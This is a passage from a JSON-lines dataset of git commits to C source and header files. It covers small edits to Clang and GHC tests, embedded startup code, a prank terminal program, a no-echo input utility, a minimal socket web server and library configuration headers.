<853081dc8dca4fe6a7e3c984752718b5db36e060@nordicsemi.no>\n","lang":"C","license":"apache-2.0","repos":"erwango\/zephyr,zephyriot\/zephyr,rsalveti\/zephyr,runchip\/zephyr-cc3220,holtmann\/zephyr,aceofall\/zephyr-iotos,holtmann\/zephyr,punitvara\/zephyr,finikorg\/zephyr,pklazy\/zephyr,zephyriot\/zephyr,kraj\/zephyr,erwango\/zephyr,galak\/zephyr,bboozzoo\/zephyr,finikorg\/zephyr,mbolivar\/zephyr,runchip\/zephyr-cc3220,ldts\/zephyr,galak\/zephyr,Vudentz\/zephyr,ldts\/zephyr,fractalclone\/zephyr-riscv,galak\/zephyr,kraj\/zephyr,mbolivar\/zephyr,kraj\/zephyr,nashif\/zephyr,fractalclone\/zephyr-riscv,tidyjiang8\/zephyr-doc,bboozzoo\/zephyr,erwango\/zephyr,punitvara\/zephyr,GiulianoFranchetto\/zephyr,GiulianoFranchetto\/zephyr,zephyrproject-rtos\/zephyr,fbsder\/zephyr,mbolivar\/zephyr,bigdinotech\/zephyr,runchip\/zephyr-cc3200,nashif\/zephyr,kraj\/zephyr,sharronliu\/zephyr,bigdinotech\/zephyr,sharronliu\/zephyr,fractalclone\/zephyr-riscv,runchip\/zephyr-cc3220,nashif\/zephyr,tidyjiang8\/zephyr-doc,holtmann\/zephyr,holtmann\/zephyr,explora26\/zephyr,Vudentz\/zephyr,punitvara\/zephyr,runchip\/zephyr-cc3200,rsalveti\/zephyr,fbsder\/zephyr,aceofall\/zephyr-iotos,GiulianoFranchetto\/zephyr,sharronliu\/zephyr,bigdinotech\/zephyr,finikorg\/zephyr,aceofall\/zephyr-iotos,pklazy\/zephyr,nashif\/zephyr,finikorg\/zephyr,runchip\/zephyr-cc3220,sharronliu\/zephyr,runchip\/zephyr-cc3200,tidyjiang8\/zephyr-doc,bboozzoo\/zephyr,Vudentz\/zephyr,GiulianoFranchetto\/zephyr,pklazy\/zephyr,fractalclone\/zephyr-riscv,Vudentz\/zephyr,pklazy\/zephyr,bigdinotech\/zephyr,runchip\/zephyr-cc3200,aceofall\/zephyr-iotos,erwango\/zephyr,zephyriot\/zephyr,rsalveti\/zephyr,tidyjiang8\/zephyr-doc,bboozzoo\/zephyr,finikorg\/zephyr,galak\/zephyr,ldts\/zephyr,zephyrproject-rtos\/zephyr,explora26\/zephyr,bigdinotech\/zephyr,runchip\/zephyr-cc3200,erwango\/zephyr,pklazy\/zephyr,ldts\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,rsalveti\/zephyr,rsalveti\/zephyr,zephyriot\/zephyr,holtmann\/zephyr,sharronliu\/zephyr,Vudentz\/zephyr,kraj\/zephyr,fbsder\/zephyr,explora26\/zephyr,aceofall\/zephyr-iotos,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,explora26\/zephyr,punitvara\/zephyr,fractalclone\/zephyr-riscv,zephyriot\/zephyr,tidyjiang8\/zephyr-doc,mbolivar\/zephyr,fbsder\/zephyr,Vudentz\/zephyr,punitvara\/zephyr,mbolivar\/zephyr,galak\/zephyr,explora26\/zephyr,runchip\/zephyr-cc3220,fbsder\/zephyr,bboozzoo\/zephyr,GiulianoFranchetto\/zephyr,ldts\/zephyr"}
{"commit":"188b56251284352d2a2da90d5fab31276a834ff7","old_file":"testsuite\/tests\/rts\/T7037_main.c","new_file":"testsuite\/tests\/rts\/T7037_main.c","old_contents":"#include <stddef.h>\n#include <unistd.h>\n\nint main(int argc, char *argv[]) {\n    const char *args[2] = {\"T7037\", NULL};\n    execv(\".\/T7037\", args);\n}\n","new_contents":"#include <stddef.h>\n#include <unistd.h>\n\nint main(int argc, char *argv[]) {\n#ifdef __MINGW32__\n    const\n#endif\n    char * args[2] = {\"T7037\", NULL};\n    execv(\".\/T7037\", args);\n}\n","subject":"Make T7037 work on both Windows and other platforms","message":"Make T7037 work on both Windows and other platforms\n","lang":"C","license":"bsd-3-clause","repos":"mcschroeder\/ghc,forked-upstream-packages-for-ghcjs\/ghc,tibbe\/ghc,ryantm\/ghc,TomMD\/ghc,oldmanmike\/ghc,nkaretnikov\/ghc,mettekou\/ghc,GaloisInc\/halvm-ghc,GaloisInc\/halvm-ghc,nkaretnikov\/ghc,mfine\/ghc,mettekou\/ghc,mcschroeder\/ghc,AlexanderPankiv\/ghc,christiaanb\/ghc,snoyberg\/ghc,ghc-android\/ghc,snoyberg\/ghc,christiaanb\/ghc,hferreiro\/replay,spacekitteh\/smcghc,acowley\/ghc,fmthoma\/ghc,wxwxwwxxx\/ghc,tjakway\/ghcjvm,ghc-android\/ghc,da-x\/ghc,nushio3\/ghc,nkaretnikov\/ghc,bitemyapp\/ghc,anton-dessiatov\/ghc,holzensp\/ghc,nkaretnikov\/ghc,oldmanmike\/ghc,vikraman\/ghc,bitemyapp\/ghc,tjakway\/ghcjvm,anton-dessiatov\/ghc,elieux\/ghc,christiaanb\/ghc,oldmanmike\/ghc,TomMD\/ghc,vikraman\/ghc,spacekitteh\/smcghc,mfine\/ghc,frantisekfarka\/ghc-dsi,ryantm\/ghc,frantisekfarka\/ghc-dsi,sdiehl\/ghc,vikraman\/ghc,jstolarek\/ghc,GaloisInc\/halvm-ghc,forked-upstream-packages-for-ghcjs\/ghc,nathyong\/microghc-ghc,holzensp\/ghc,elieux\/ghc,anton-dessiatov\/ghc,fmthoma\/ghc,lukexi\/ghc-7.8-arm64,nushio3\/ghc,christiaanb\/ghc,mettekou\/ghc,nushio3\/ghc,hferreiro\/replay,nkaretnikov\/ghc,forked-upstream-packages-for-ghcjs\/ghc,ezyang\/ghc,sgillespie\/ghc,ghc-android\/ghc,mettekou\/ghc,sgillespie\/ghc,gridaphobe\/ghc,sgillespie\/ghc,AlexanderPankiv\/ghc,da-x\/ghc,vTurbine\/ghc,urbanslug\/ghc,ryantm\/ghc,christiaanb\/ghc,anton-dessiatov\/ghc,elieux\/ghc,oldmanmike\/ghc,holzensp\/ghc,TomMD\/ghc,urbanslug\/ghc,siddhanathan\/ghc,snoyberg\/ghc,elieux\/ghc,gcampax\/ghc,ml9951\/ghc,ezyang\/ghc,shlevy\/ghc,oldmanmike\/ghc,bitemyapp\/ghc,urbanslug\/ghc,GaloisInc\/halvm-ghc,urbanslug\/ghc,green-haskell\/ghc,urbanslug\/ghc,nushio3\/ghc,jstolarek\/ghc,frantisekfarka\/ghc-dsi,hferreiro\/replay,olsner\/ghc,forked-upstream-packages-for-ghcjs\/ghc,forked-upstream-packages-for-ghcjs\/ghc,anton-dessiatov\/ghc,sdiehl\/ghc,nushio3\/ghc,tibbe\/ghc,vTurbine\/ghc,wxwxwwxxx\/ghc,mettekou\/ghc,ml9951\/ghc,nkaretnikov\/ghc,acowley\/ghc,da-x\/ghc,GaloisInc\/halvm-ghc,da-x\/ghc,shlevy\/ghc,olsner\/ghc,gcampax\/ghc,oldmanmike\/ghc,snoyberg\/ghc,olsner\/ghc,vTurbine\/ghc,lukexi\/ghc-7.8-arm64,sdiehl\/ghc,green-haskell\/ghc,ezyang\/ghc,hferreiro\/replay,tibbe\/ghc,nathyong\/microghc-ghc,gridaphobe\/ghc,sdiehl\/ghc,ml9951\/ghc,sdiehl\/ghc,wxwxwwxxx\/ghc,TomMD\/ghc,anton-dessiatov\/ghc,nathyong\/microghc-ghc,ezyang\/ghc,sgillespie\/ghc,ml9951\/ghc,urbanslug\/ghc,AlexanderPankiv\/ghc,GaloisInc\/halvm-ghc,siddhanathan\/ghc,lukexi\/ghc,ezyang\/ghc,wxwxwwxxx\/ghc,vTurbine\/ghc,sgillespie\/ghc,gridaphobe\/ghc,lukexi\/ghc,tjakway\/ghcjvm,bitemyapp\/ghc,olsner\/ghc,tjakway\/ghcjvm,acowley\/ghc,mcschroeder\/ghc,christiaanb\/ghc,gcampax\/ghc,fmthoma\/ghc,lukexi\/ghc,christiaanb\/ghc,AlexanderPankiv\/ghc,hferreiro\/replay,ml9951\/ghc,gridaphobe\/ghc,olsner\/ghc,mfine\/ghc,ml9951\/ghc,olsner\/ghc,lukexi\/ghc,vikraman\/ghc,shlevy\/ghc,fmthoma\/ghc,olsner\/ghc,shlevy\/ghc,mfine\/ghc,tibbe\/ghc,siddhanathan\/ghc,AlexanderPankiv\/ghc,ezyang\/ghc,bitemyapp\/ghc,tjakway\/ghcjvm,mcschroeder\/ghc,ezyang\/ghc,wxwxwwxxx\/ghc,gcampax\/ghc,mcschroeder\/ghc,holzensp\/ghc,lukexi\/ghc,GaloisInc\/halvm-ghc,siddhanathan\/ghc,nkaretnikov\/ghc,hferreiro\/replay,gcampax\/ghc,sdiehl\/ghc,nathyong\/microghc-ghc,sgillespie\/ghc,ghc-android\/ghc,jstolarek\/ghc,siddhanathan\/ghc,ryantm\/ghc,spacekitteh\/smcghc,lukexi\/ghc-7.8-arm64,ghc-android\/ghc,ml9951\/ghc,fmthoma\/ghc,mfine\/ghc,green-haskell\/ghc,gcampax\/ghc,TomMD\/ghc,da-x\/ghc,acowley\/ghc,mettekou\/ghc,forked-upstream-packages-for-ghcjs\/ghc,ghc-android\/ghc,vikraman\/ghc,fmthoma\/ghc,vTurbine\/ghc,mettekou\/ghc,nushio3\/ghc,sdiehl\/ghc,green-haskell\/ghc,vTurbine\/ghc,frantisekfarka\/ghc-dsi,acowley\/ghc,elieux\/ghc,gridaphobe\/ghc,snoyberg\/ghc,gridaphobe\/ghc,vTurbine\/ghc,ghc-android\/ghc,tjakway\/ghcjvm,snoyberg\/ghc,fmthoma\/ghc,nushio3\/ghc,ryantm\/ghc,mcschroeder\/ghc,nathyong\/microghc-ghc,holzensp\/ghc,vikraman\/ghc,elieux\/ghc,hferreiro\/replay,wxwxwwxxx\/ghc,mfine\/ghc,elieux\/ghc,acowley\/ghc,lukexi\/ghc-7.8-arm64,wxwxwwxxx\/ghc,ml9951\/ghc,shlevy\/ghc,jstolarek\/ghc,da-x\/ghc,shlevy\/ghc,nathyong\/microghc-ghc,tjakway\/ghcjvm,mfine\/ghc,sgillespie\/ghc,gcampax\/ghc,acowley\/ghc,oldmanmike\/ghc,anton-dessiatov\/ghc,nathyong\/microghc-ghc,spacekitteh\/smcghc,vikraman\/ghc,urbanslug\/ghc,lukexi\/ghc-7.8-arm64,spacekitteh\/smcghc,TomMD\/ghc,AlexanderPankiv\/ghc,jstolarek\/ghc,siddhanathan\/ghc,mcschroeder\/ghc,TomMD\/ghc,forked-upstream-packages-for-ghcjs\/ghc,shlevy\/ghc,da-x\/ghc,AlexanderPankiv\/ghc,gridaphobe\/ghc,siddhanathan\/ghc,frantisekfarka\/ghc-dsi,tibbe\/ghc,snoyberg\/ghc,green-haskell\/ghc"}
{"commit":"27e5d7c74125784cb278b44e12881ca3596ee868","old_file":"STM32F103GNU\/src\/startup.c","new_file":"STM32F103GNU\/src\/startup.c","old_contents":"\/*\r\n * startup.h\r\n *\r\n *  Created on: Nov 15, 2016\r\n *      Author: RoyerAriel\r\n *\/\r\n\r\n#ifndef STARTUP_C_\r\n#define STARTUP_C_\r\n#include \"Timer.h\"\r\n\r\nvoid startup()\r\n{\r\n  \/\/Start Systick Timer at 1ms\r\n  Systick_Startup();\r\n  AFIO->MAPR |= AFIO_MAPR_SWJ_CFG_JTAGDISABLE; \/\/0x‭2000000‬\r\n\r\n}\r\n\r\n#endif \/* STARTUP_C_ *\/\r\n","new_contents":"\/*\r\n * startup.h\r\n *\r\n *  Created on: Nov 15, 2016\r\n *      Author: RoyerAriel\r\n *\/\r\n\r\n#ifndef STARTUP_C_\r\n#define STARTUP_C_\r\n#include \"Timer.h\"\r\n\r\nvoid startup()\r\n{\r\n  \/\/Start Systick Timer at 1ms\r\n  Systick_Startup();\r\n  AFIO->MAPR |= AFIO_MAPR_SWJ_CFG_JTAGDISABLE; \/\/0x‭2000000‬disable jtag \r\n\r\n}\r\n\r\n#endif \/* STARTUP_C_ *\/\r\n","subject":"Disable Jtag came enable by default","message":"Disable Jtag came enable by default \n\nDisable Jtag came enable by default and use GPIOB P04,P03 and P05","lang":"C","license":"epl-1.0","repos":"royel21\/STM32F103GNU,royel21\/STM32F103GNU"}
{"commit":"d6e3fda253c18d1a30c14d5b176737c337c00b00","old_file":"IAAI.c","new_file":"IAAI.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define STTY \"\/bin\/stty \"\nconst char RAW[] = STTY \"raw\";\nconst char COOKED[] = STTY \"cooked\";\n\nconst char default_str[] = \"I AM AN IDIOT \";\n\nint main(int argc, char **argv) {\n  system(RAW);\n\n  const char *str;\n  if ( argc == 2 )\n    str = argv[1];\n  else\n    str = default_str;\n\n  size_t len = strlen(str);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(\"\\b%c\", str[i]);\n    }\n    system(COOKED);\n    printf(\"\\n\");\n    system(RAW);\n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#define STTY \"\/bin\/stty \"\nconst char RAW[] = STTY \"raw\";\nconst char COOKED[] = STTY \"cooked\";\n\nconst char default_str[] = \"I AM AN IDIOT \";\n\nint main(int argc, char **argv) {\n  system(RAW);\n\n  const char *str;\n  if ( argc == 2 )\n    str = argv[1];\n  else\n    str = default_str;\n\n  size_t len = strlen(str);\n\n  while ( 1 ) {\n    for ( size_t i = 0 ; i < len ; i++ ) {\n      getchar();\n      printf(\"\\r\");\n      for ( size_t j = 0 ; j <= i ; j++ ) {\n\tprintf(\"%c\", str[j]);\n      }\n    }\n    system(COOKED);\n    printf(\"\\n\");\n    system(RAW);\n  }\n\n  return 0;\n}\n","subject":"Allow non printing chars to also work well","message":"Allow non printing chars to also work well\n","lang":"C","license":"mit","repos":"vinamarora8\/IAAI"}
{"commit":"7e9ee0eb7233bcfb93f53a18320cf8187c5f5d89","old_file":"libutils\/include\/utils\/fence.h","new_file":"libutils\/include\/utils\/fence.h","old_contents":"\/*\n * Copyright 2016, Data61\n * Commonwealth Scientific and Industrial Research Organisation (CSIRO)\n * ABN 41 687 119 230.\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(D61_BSD)\n *\/\n\n#pragma once\n\n\/* Prevent the compiler from re-ordering any read or write across the fence. *\/\n#define COMPILER_MEMORY_FENCE() __atomic_signal_fence(__ATOMIC_ACQ_REL)\n\n\/* Prevent the compiler from re-ordering any write which follows the fence\n * in program order with any read or write which preceeds the fence in\n * program order. *\/\n#define COMPILER_MEMORY_RELEASE() __atomic_signal_fence(__ATOMIC_RELEASE)\n\n\/* Prevent the compiler from re-ordering any read which preceeds the fence\n * in program order with any read or write which follows the fence in\n * program order *\/.\n#define COMPILER_MEMORY_ACQUIRE() __atomic_signal_fence(__ATOMIC_ACQUIRE)\n","new_contents":"\/*\n * Copyright 2016, Data61\n * Commonwealth Scientific and Industrial Research Organisation (CSIRO)\n * ABN 41 687 119 230.\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(D61_BSD)\n *\/\n\n#pragma once\n\n\/* Prevent the compiler from re-ordering any read or write across the fence. *\/\n#define COMPILER_MEMORY_FENCE() __atomic_signal_fence(__ATOMIC_ACQ_REL)\n\n\/* Prevent the compiler from re-ordering any write which follows the fence\n * in program order with any read or write which preceeds the fence in\n * program order. *\/\n#define COMPILER_MEMORY_RELEASE() __atomic_signal_fence(__ATOMIC_RELEASE)\n\n\/* Prevent the compiler from re-ordering any read which preceeds the fence\n * in program order with any read or write which follows the fence in\n * program order. *\/\n#define COMPILER_MEMORY_ACQUIRE() __atomic_signal_fence(__ATOMIC_ACQUIRE)\n","subject":"Move trailing . inside comment","message":"libutils: Move trailing . inside comment\n","lang":"C","license":"bsd-2-clause","repos":"agacek\/util_libs,agacek\/util_libs,agacek\/util_libs,agacek\/util_libs"}
{"commit":"5ffd5d785b8d50aae883fe39055de6e422649418","old_file":"qstr\/main.c","new_file":"qstr\/main.c","old_contents":"","new_contents":"\/\/ ** QueryString\n\/\/\n\/\/ This program reads chars from stdin without echo and put to stdout.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <termios.h>\n\nint main(int argc, char * args[])\n{\n\tstruct termios old_tio, new_tio;\n\tunsigned char c;\n\n\t\/* get the terminal settings for stdin *\/\n\ttcgetattr(STDIN_FILENO, &old_tio);\n\n\t\/* we want to keep the old setting to restore them a the end *\/\n\tnew_tio = old_tio;\n\n\t\/* disable canonical mode (buffered i\/o) and local echo *\/\n\tnew_tio.c_lflag &= (~ICANON & ~ECHO);\n\n\t\/* set the new settings immediately *\/\n\ttcsetattr(STDIN_FILENO, TCSANOW, &new_tio);\n\n\twhile ((c = getchar()) != '\\n')\n        {\n          putchar(c);\n\t};\n\n\t\/* restore the former settings *\/\n\ttcsetattr(STDIN_FILENO, TCSANOW, &old_tio);\n\n\treturn 0;\n}\n","subject":"Add qstr - query string utility","message":"Add qstr - query string utility","lang":"C","license":"mit","repos":"showcode\/tools"}
{"commit":"86fb835194f54ccecc33bfaf71f38b636993baab","old_file":"test\/Preprocessor\/comment_save_macro.c","new_file":"test\/Preprocessor\/comment_save_macro.c","old_contents":"\/\/ RUN: clang-cc -E -C %s | FileCheck -strict-whitespace %s\n\/\/ CHECK: boo bork bar \/\/ zot\n\n\/\/ RUN: clang-cc -E -CC %s | FileCheck -strict-whitespace %s\n\/\/ CHECK: boo bork \/* blah*\/ bar \/\/ zot\n\n\/\/ RUN: clang-cc -E %s | FileCheck -strict-whitespace %s\n\/\/ CHECK: boo bork bar\n\n\n#define FOO bork \/\/ blah\nboo FOO bar \/\/ zot\n\n","new_contents":"\/\/ RUN: clang-cc -E -C %s | FileCheck -strict-whitespace %s &&\n\/\/ CHECK: boo bork bar \/\/ zot\n\n\/\/ RUN: clang-cc -E -CC %s | FileCheck -strict-whitespace %s &&\n\/\/ CHECK: boo bork \/* blah*\/ bar \/\/ zot\n\n\/\/ RUN: clang-cc -E %s | FileCheck -strict-whitespace %s\n\/\/ CHECK: boo bork bar\n\n\n#define FOO bork \/\/ blah\nboo FOO bar \/\/ zot\n\n","subject":"Fix a broken test in rev. 85199.","message":"Fix a broken test in rev. 85199.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@85200 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"22f57814c548ceb55bd4295768ff1873f3f4e3ae","old_file":"webserver.c","new_file":"webserver.c","old_contents":"#include <netinet\/in.h>\n#include <stdio.h>\n#include <sys\/socket.h>\n\nint main(int argc, char** argv)\n{\n\n\tint listen_fd;\n\n\tstruct sockaddr_in serv_addr;\n\n\tlisten_fd = socket(AF_INET, SOCK_STREAM, 0);\n\n\tserv_addr.sin_family = AF_INET;\n\tserv_addr.sin_addr.s_addr = htonl(INADDR_ANY);\n\tserv_addr.sin_port = htons(8080);\n\n\tbind(listen_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));\n\t\n\tif (listen(listen_fd, 64)) {\n\t\tperror(\"listen\");\n\t} else {\n\t\t\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include <netinet\/in.h>\n#include <stdio.h>\n#include <sys\/socket.h>\n#include <unistd.h>\n\n#define TRUE 1\n#define BUFFER_SIZE 8096\n\nint main(int argc, char** argv)\n{\n\n\tint listen_fd;\n\tint connection_fd;\n\n\tsocklen_t length;\n\n\tint err;\n\tint read_len;\n\n\tchar buffer[BUFFER_SIZE+1];\n\n\tstruct sockaddr_in serv_addr;\n\tstruct sockaddr_in client_addr;\n\n\tlisten_fd = socket(AF_INET, SOCK_STREAM, 0);\n\n\tserv_addr.sin_family = AF_INET;\n\tserv_addr.sin_addr.s_addr = htonl(INADDR_ANY);\n\tserv_addr.sin_port = htons(8080);\n\n\terr = bind(listen_fd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));\n\n\tif (err == -1) {\n\t\tperror(\"bind\");\n\t}\n\n\terr = listen(listen_fd, 64);\n\n\tif (err == -1) {\n\t\tperror(\"listen\");\n\t}\n\n\twhile (TRUE) {\n\n\t\tconnection_fd = accept(listen_fd, (struct sockaddr*)&client_addr, &length);\n\n\t\tread_len = read(connection_fd, buffer, BUFFER_SIZE);\n\t\tprintf(\"Read %d bytes: %s\\n\", read_len,  buffer);\n\t\t\n\t\tclose(connection_fd);\n\t}\n\n\treturn 0;\n}\n","subject":"Implement accept of incoming requests","message":"Implement accept of incoming requests\n","lang":"C","license":"apache-2.0","repos":"benjic\/web-server,benjic\/web-server"}
{"commit":"a2c066c1346a897b8a62fac75951009107437f34","old_file":"serialization\/include\/SerializationToStream.h","new_file":"serialization\/include\/SerializationToStream.h","old_contents":"\/\/\/ \\file\n\/\/\/ \\brief This header contains functionality needed for serializing and deserealizing to\/from a stream\n#pragma once\n\n#include \"ISerializable.h\"\n#include \"IStorage.h\"\n\n#include <iostream>\n\n\/\/\/ Contains all the functionality provided by the library.\nnamespace simpson\n{\n\n\/\/\/ Serialize object to ostream\nstd::ostream& operator<<(std::ostream& outStream, simpson::ISerializable& obj);\n\/\/\/ Deserialize object from istream\nstd::istream& operator>>(std::istream& inStream, simpson::ISerializable* obj);\n\n} \/\/ simpson\n","new_contents":"\/\/\/ \\file\n\/\/\/ \\brief This header contains functionality needed for serializing and deserealizing to\/from a stream\n#pragma once\n\n#include \"IStorage.h\"\n\n#include <iostream>\n\n\/\/\/ Contains all the functionality provided by the library.\nnamespace simpson\n{\n\nclass ISerializable;\n\n\/\/\/ Serialize object to ostream\nstd::ostream& operator<<(std::ostream& outStream, ISerializable& obj);\n\/\/\/ Deserialize object from istream\nstd::istream& operator>>(std::istream& inStream, ISerializable* obj);\n\n} \/\/ simpson\n","subject":"Change include to forward declaration","message":"Change include to forward declaration\n","lang":"C","license":"mit","repos":"artem-ogre\/simpson,artem-ogre\/simpson"}
{"commit":"6779aa4e1884e4bb6e87820f7d29f08a84fde425","old_file":"Kiwi\/KiwiConfiguration.h","new_file":"Kiwi\/KiwiConfiguration.h","old_contents":"\/\/\n\/\/ Licensed under the terms in License.txt\n\/\/\n\/\/ Copyright 2010 Allen Ding. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define KW_VERSION 0.5\n\n\/\/ Blocks being unavailable cripples the usability of Kiwi, but is supported\n\/\/ because they are not available on anything less than a device running 3.2.\n#if defined(__BLOCKS__)\n    #define KW_BLOCKS_ENABLED 1\n#endif \/\/ #if defined(__BLOCKS__)\n\n\/\/ As of iPhone SDK 4 GM, exceptions thrown across an NSInvocation -invoke or\n\/\/ forwardInvocation: boundary in the simulator will terminate the app instead\n\/\/ of being caught in @catch blocks from the caller side of the -invoke. Kiwi\n\/\/ tries to handle this by storing the first exception that it would have\n\/\/ otherwise thrown in a nasty global that callers can look for and handle.\n\/\/ (Buggy termination is less desirable than global variables).\n\/\/\n\/\/ Obviously, this can only handles cases where Kiwi itself would have raised\n\/\/ an exception.\n#if TARGET_IPHONE_SIMULATOR\n    #define KW_TARGET_HAS_INVOCATION_EXCEPTION_BUG 1\n#endif \/\/ #if TARGET_IPHONE_SIMULATOR\n","new_contents":"\/\/\n\/\/ Licensed under the terms in License.txt\n\/\/\n\/\/ Copyright 2010 Allen Ding. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define KW_VERSION 0.5\n\n\/\/ Blocks being unavailable cripples the usability of Kiwi, but is supported\n\/\/ because they are not available on anything less than a device running 3.2.\n#if defined(__BLOCKS__)\n    #ifndef KW_BLOCKS_ENABLED\n        #define KW_BLOCKS_ENABLED 1\n    #endif \/\/ #ifndef KW_BLOCKS_ENABLED\n#endif \/\/ #if defined(__BLOCKS__)\n\n\/\/ As of iPhone SDK 4 GM, exceptions thrown across an NSInvocation -invoke or\n\/\/ forwardInvocation: boundary in the simulator will terminate the app instead\n\/\/ of being caught in @catch blocks from the caller side of the -invoke. Kiwi\n\/\/ tries to handle this by storing the first exception that it would have\n\/\/ otherwise thrown in a nasty global that callers can look for and handle.\n\/\/ (Buggy termination is less desirable than global variables).\n\/\/\n\/\/ Obviously, this can only handles cases where Kiwi itself would have raised\n\/\/ an exception.\n#if TARGET_IPHONE_SIMULATOR\n    #define KW_TARGET_HAS_INVOCATION_EXCEPTION_BUG 1\n#endif \/\/ #if TARGET_IPHONE_SIMULATOR\n","subject":"Add support for disabling blocks externally via preprocessor macro definitions at the project or target level","message":"Add support for disabling blocks externally via preprocessor macro definitions at the project or target level\n","lang":"C","license":"bsd-3-clause","repos":"ecaselles\/Kiwi,allending\/Kiwi,LiuShulong\/Kiwi,TaemoonCho\/Kiwi,emodeqidao\/Kiwi,weslindsay\/Kiwi,depop\/Kiwi,emodeqidao\/Kiwi,unisontech\/Kiwi,samkrishna\/Kiwi,tangwei6423471\/Kiwi,samkrishna\/Kiwi,tangwei6423471\/Kiwi,indiegogo\/Kiwi,JoistApp\/Kiwi,LiuShulong\/Kiwi,ashfurrow\/Kiwi,howandhao\/Kiwi,iosRookie\/Kiwi,hyperoslo\/Tusen,emodeqidao\/Kiwi,indiegogo\/Kiwi,alloy\/Kiwi,unisontech\/Kiwi,weslindsay\/Kiwi,alloy\/Kiwi,tcirwin\/Kiwi,tangwei6423471\/Kiwi,ecaselles\/Kiwi,iosRookie\/Kiwi,tonyarnold\/Kiwi,samkrishna\/Kiwi,carezone\/Kiwi,tonyarnold\/Kiwi,ashfurrow\/Kiwi,emodeqidao\/Kiwi,depop\/Kiwi,ecaselles\/Kiwi,JoistApp\/Kiwi,tonyarnold\/Kiwi,ecaselles\/Kiwi,hyperoslo\/Tusen,cookov\/Kiwi,hyperoslo\/Tusen,tangwei6423471\/Kiwi,howandhao\/Kiwi,LiuShulong\/Kiwi,tcirwin\/Kiwi,samkrishna\/Kiwi,tcirwin\/Kiwi,JoistApp\/Kiwi,tcirwin\/Kiwi,hyperoslo\/Tusen,howandhao\/Kiwi,cookov\/Kiwi,indiegogo\/Kiwi,PaulTaykalo\/Kiwi,allending\/Kiwi,carezone\/Kiwi,TaemoonCho\/Kiwi,depop\/Kiwi,depop\/Kiwi,unisontech\/Kiwi,allending\/Kiwi,iosRookie\/Kiwi,TaemoonCho\/Kiwi,ashfurrow\/Kiwi,howandhao\/Kiwi,cookov\/Kiwi,TaemoonCho\/Kiwi,LiuShulong\/Kiwi,alloy\/Kiwi,unisontech\/Kiwi,cookov\/Kiwi,weslindsay\/Kiwi,iosRookie\/Kiwi,tonyarnold\/Kiwi,JoistApp\/Kiwi,indiegogo\/Kiwi,PaulTaykalo\/Kiwi,weslindsay\/Kiwi,PaulTaykalo\/Kiwi,PaulTaykalo\/Kiwi,carezone\/Kiwi,allending\/Kiwi,carezone\/Kiwi"}
{"commit":"5df03525b7db34b41c9993140e55877a1f0e8fd3","old_file":"test\/Driver\/avr-mmcu.c","new_file":"test\/Driver\/avr-mmcu.c","old_contents":"\/\/ A test for the propagation of the -mmcu option to -cc1 and -cc1as\n\n\/\/ RUN: %clang -### -target avr -mmcu=atmega328p -save-temps %s 2>&1 | FileCheck %s\n\/\/ CHECK: clang{{.*}} \"-cc1\" {{.*}} \"-target-cpu\" \"atmega328p\"\n\/\/ CHECK: clang{{.*}} \"-cc1as\" {{.*}} \"-target-cpu\" \"atmega328p\"\n","new_contents":"\/\/ A test for the propagation of the -mmcu option to -cc1 and -cc1as\n\n\/\/ RUN: %clang -### -target avr -no-canonical-prefixes -mmcu=atmega328p -save-temps %s 2>&1 | FileCheck %s\n\/\/ CHECK: clang{{.*}} \"-cc1\" {{.*}} \"-target-cpu\" \"atmega328p\"\n\/\/ CHECK: clang{{.*}} \"-cc1as\" {{.*}} \"-target-cpu\" \"atmega328p\"\n","subject":"Add a missing -no-canonical-prefixes to test.","message":"[Driver] Add a missing -no-canonical-prefixes to test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@300873 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
